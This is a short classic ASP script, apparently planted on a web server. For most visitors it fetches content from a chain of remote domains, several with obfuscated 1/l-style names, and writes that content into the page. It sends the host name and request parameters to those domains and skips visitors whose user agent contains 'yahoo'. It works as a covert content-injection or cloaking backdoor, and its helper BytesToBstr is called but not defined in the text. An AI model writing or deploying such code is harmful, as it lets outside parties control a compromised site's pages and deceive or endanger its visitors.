<%

function getHTTPPage(url)

On Error Resume Next

dim http

set http=createobject("MSXML2.XMLHTTP")

Http.open "GET",url,false

Http.send()

if Http.readystate<>4 then

exit function

end if

getHTTPPage=BytesToBstr(Http.responseBody,"UTF-8")

'getHTTPPage=Http.responseBody

set http=nothing

if err.number<>0 then err.Clear

end function



Function Getlink()

On Error Resume Next

user_agent=Request.ServerVariables("HTTP_USER_AGENT")

If instr(user_agent,"yahoo")=0 then

    d=Request.ServerVariables("HTTP_HOST")

getPage=getHTTPPage("http://www.199888.cn/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")



if instr(getPage,"2em")=0 then

getPage=getHTTPPage("http://www.1l1l11lll111l1lll11l1l1.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")

end if

if instr(getPage,"2em")=0 then

getPage=getHTTPPage("http://www.lll1111l1l11l1l11ll11l.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")

end if

if instr(getPage,"2em")=0 then

getPage=getHTTPPage("http://www.l1l11l1l1l11l1l1l1l1l11.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")

end if

if instr(getPage,"2em")=0 then

getPage=getHTTPPage("http://www.1l1l11l1l11l11l1l1l1l1l1l.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")

end if

if instr(getPage,"2em")=0 then

getPage=getHTTPPage("http://www.1l1l1l1llll1111l1ll111ll1.com/about.aspx?d=" & d & "&id=" & Request("id") & "&p="&Request("p")&"")

end if



    response.write getPage

    if err.number<>0 then err.Clear

End If

End Function

Call Getlink()

%>